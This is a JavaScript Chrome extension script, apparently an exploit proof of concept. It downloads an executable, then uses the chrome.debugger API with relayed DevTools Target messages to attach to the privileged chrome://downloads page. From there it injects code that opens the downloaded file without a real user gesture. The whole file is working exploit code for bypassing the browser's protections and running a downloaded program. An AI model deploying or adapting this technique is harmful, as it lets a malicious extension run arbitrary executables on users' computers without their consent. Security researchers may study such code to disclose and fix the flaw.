const downloadUrl = "https://live.sysinternals.com/procexp.exe"; let targetTab = null; let targetTabUpdateListener = null; chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) { if (!targetTab || tabId !== targetTab.id || changeInfo.status !== "complete" || !targetTabUpdateListener) { return; } targetTabUpdateListener(tab); }); let debugEventListener = null; chrome.debugger.onEvent.addListener(function (source, method, params) { if (debugEventListener) { debugEventListener(source, method, params); } }); let messageId = 1; startProcess(); function startProcess() { chrome.tabs.create({url: downloadUrl}); // It doesn't matter whether the download has completed by the time findAndRunDownload is called // below. If that function is called before the download completes, the file will simply be // opened once the download has completed. setTimeout(() => { onDownloadStarted(); }, 1000); } function onDownloadStarted() { chrome.tabs.create({url: "chrome://downloads"}, function (tab) { targetTab = tab; }); targetTabUpdateListener = function (tab) { targetTabUpdateListener = null; onDownloadsPageLoaded(tab); }; } function onDownloadsPageLoaded(downloadsTab) { chrome.debugger.getTargets(function (targets) { let downloadsTarget = targets.find(function (target) { if (target.type === "page" && target.tabId === downloadsTab.id) { return true; } return false; }); if (!downloadsTarget) { return; } onDownloadsTargetFound(downloadsTarget.id); }); } function onDownloadsTargetFound(downloadsTargetId) { chrome.tabs.create({url: "page.html"}, function (tab) { targetTab = tab; }); targetTabUpdateListener = function (tab) { targetTabUpdateListener = null; onNavigatedToExtensionPage(tab, downloadsTargetId); }; } function onNavigatedToExtensionPage(tab, downloadsTargetId) { chrome.debugger.attach({tabId: tab.id}, "1.3", function () { onDebuggerAttachedToExtensionPage(tab, downloadsTargetId); }); } function onDebuggerAttachedToExtensionPage(tab, downloadsTargetId) { chrome.debugger.sendCommand({tabId: tab.id}, "Target.setAutoAttach", {autoAttach: true, waitForDebuggerOnStart: false, flatten: false}); debugEventListener = function (source, method, params) { if (method === "Target.attachedToTarget") { debugEventListener = null; onAutoAttachedToChildFrame(tab, params.targetInfo.targetId, downloadsTargetId); } }; } function onAutoAttachedToChildFrame(tab, childTargetId, downloadsTargetId) { let message = {id: messageId++, method: "Target.attachToTarget", params: {targetId: downloadsTargetId}}; chrome.debugger.sendCommand({tabId: tab.id}, "Target.sendMessageToTarget", {message: JSON.stringify(message), targetId: childTargetId}); debugEventListener = function (source, method, params) { if (method === "Target.receivedMessageFromTarget") { let decodedMessage = JSON.parse(params.message); if (decodedMessage.hasOwnProperty("method") && decodedMessage.method === "Target.attachedToTarget") { debugEventListener = null; onAttachedToDownloadsPage(tab, childTargetId, downloadsTargetId); } } }; } function onAttachedToDownloadsPage(tab, childTargetId, downloadsTargetId) { let message = {id: messageId++, method: "Input.dispatchKeyEvent", params: {type: "rawKeyDown", key: "ArrowDown", windowsVirtualKeyCode: 40, nativeVirtualKeyCode: 40}}; sendMessageToTargetViaRelay(tab, childTargetId, downloadsTargetId, message); setTimeout(() => { onDispatchedInputToDownloadsPage(tab, childTargetId, downloadsTargetId); }, 1000); } function onDispatchedInputToDownloadsPage(tab, childTargetId, downloadsTargetId) { let message = {id: messageId++, method: "Runtime.evaluate", params: {expression: findAndRunDownload.toString() + `findAndRunDownload("${downloadUrl}")`}}; sendMessageToTargetViaRelay(tab, childTargetId, downloadsTargetId, message); } function sendMessageToTargetViaRelay(tab, relayTargetId, targetId, message) { let relayMessage = {id: messageId++, method: "Target.sendMessageToTarget", params: {message: JSON.stringify(message), targetId: targetId}}; chrome.debugger.sendCommand({tabId: tab.id}, "Target.sendMessageToTarget", {message: JSON.stringify(relayMessage), targetId: relayTargetId}); } function findAndRunDownload(downloadUrl) { let downloadsManager = document.getElementsByTagName("downloads-manager")[0]; if (downloadsManager.items_.length === 0) { return; } /* It's assumed here that the file that was downloaded is still the most recent item. */ let firstItem = downloadsManager.items_[0]; if (firstItem.url === downloadUrl && !firstItem.fileExternallyRemoved) { downloadsManager.mojoHandler_.openFileRequiringGesture(firstItem.id); } }